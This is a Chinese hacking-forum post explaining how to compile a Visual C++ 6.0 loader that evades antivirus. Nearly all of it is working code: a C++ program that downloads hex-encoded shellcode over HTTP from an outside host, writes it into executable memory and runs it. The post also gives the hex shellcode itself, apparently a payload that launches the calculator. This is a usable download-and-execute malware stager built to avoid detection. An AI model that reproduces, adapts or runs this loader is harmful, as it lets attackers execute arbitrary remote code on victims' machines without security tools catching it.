vc 6.0 编译加载远程shellcode实现免杀-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

vc 6.0 编译加载远程shellcode实现免杀

[复制链接]
发表于 2020-3-15 21:48:33 | 显示全部楼层 |阅读模式
测试环境 :windowxp
vc6.0
bihuo.cpp 代码如下:
  1. #include <string>
  2. #include <iostream>
  3. #include <windows.h>
  4. #include <winhttp.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #pragma comment(lib,"winhttp.lib")
  8. #pragma comment(lib,"user32.lib")
  9. void main()
  10. {
  11.     DWORD dwSize = 0;
  12.     DWORD dwDownloaded = 0;
  13.     LPSTR pszOutBuffer = NULL;
  14.     HINTERNET  hSession = NULL,
  15.                hConnect = NULL,
  16.                hRequest = NULL;
  17.     BOOL  bResults = FALSE;
  18.     hSession=WinHttpOpen(L"User Agent",WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS,0);
  19.     if(hSession)
  20.     {
  21.         hConnect=WinHttpConnect(hSession,L"www.hacker.wang",INTERNET_DEFAULT_HTTP_PORT,0);
  22.     }
  23.     if(hConnect)
  24.     {
  25.         hRequest=WinHttpOpenRequest(hConnect, L"GET",L"/vc/calc.txt",L"HTTP/1.1", WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,0);
  26.     }
  27.     if(hRequest)
  28.     {
  29.         bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
  30.     }
  31.     if(bResults)
  32.     {
  33.         bResults=WinHttpReceiveResponse(hRequest,NULL);
  34.     }
  35.     if(bResults)
  36.     {
  37.         do
  38.         {
  39.             // Check for available data.
  40.              dwSize = 0;
  41.              if (!WinHttpQueryDataAvailable( hRequest, &dwSize))
  42.              {
  43.                  printf( "Error %u in WinHttpQueryDataAvailable.\n",GetLastError());
  44.                  break;
  45.              }
  46.              if (!dwSize)
  47.                  break;
  48.               pszOutBuffer = new char[dwSize+1];
  49.               if (!pszOutBuffer)
  50.               {
  51.                    printf("Out of memory\n");
  52.                 break;
  53.               }
  54.                ZeroMemory(pszOutBuffer, dwSize+1);
  55.                if (!WinHttpReadData( hRequest, (LPVOID)pszOutBuffer,  dwSize, &dwDownloaded))
  56.                {
  57.                      printf( "Error %u in WinHttpReadData.\n", GetLastError());
  58.                }
  59.                else
  60.                {
  61.                    printf("%s", pszOutBuffer);
  62.                }
  63.                                 //编写shellcode 开始
  64.                                 const char* ShellCode = pszOutBuffer;
  65.                                 int shellcode_length = strlen(ShellCode);

  66.                                 unsigned char* value = (unsigned char*)calloc(shellcode_length/2,sizeof(unsigned char));
  67.                                 for (size_t count=0;count < shellcode_length /2;count++)
  68.                                 {
  69.                                         sscanf(ShellCode,"%2hhx",&value[count]);
  70.                                         ShellCode += 2;
  71.                                 }
  72.                                
  73.                                 void *exec = VirtualAlloc(0,shellcode_length,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  74.                                 memcpy(exec,value,shellcode_length);

  75.                                 printf("%s", exec);
  76.                                 ((void(*)())exec)();

  77.                            // 编写shellcode 结束


  78.                delete [] pszOutBuffer;
  79.                if (!dwDownloaded)
  80.                    break;
  81.         } while (dwSize > 0);
  82.     }
  83.     if (hRequest) WinHttpCloseHandle(hRequest);
  84.     if (hConnect) WinHttpCloseHandle(hConnect);
  85.     if (hSession) WinHttpCloseHandle(hSession);
  86.     system("pause");
  87. }
复制代码
远程shellcode 代码如下 calc.txt中内容如下
  1. b8820a8d38d9c6d97424f45a29c9b12331421283eafc03c0046fcd38f02b2ec0013f6bfc8a4371848d54f23b96215ae3a7de2c6893abae80ed6b29f08aac3e0f52e6b20e961c382b42c7c53e8f8c99e44e78436f5c35073041c8fc45654103b21f092040e383e82c68a3d829ae5c15ba6f91aecc73043b4484bd351f14f1461f15792e234a4c593b22275d380a4cce56f56b0cd561142f937c732f44e31aa3e9e4
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表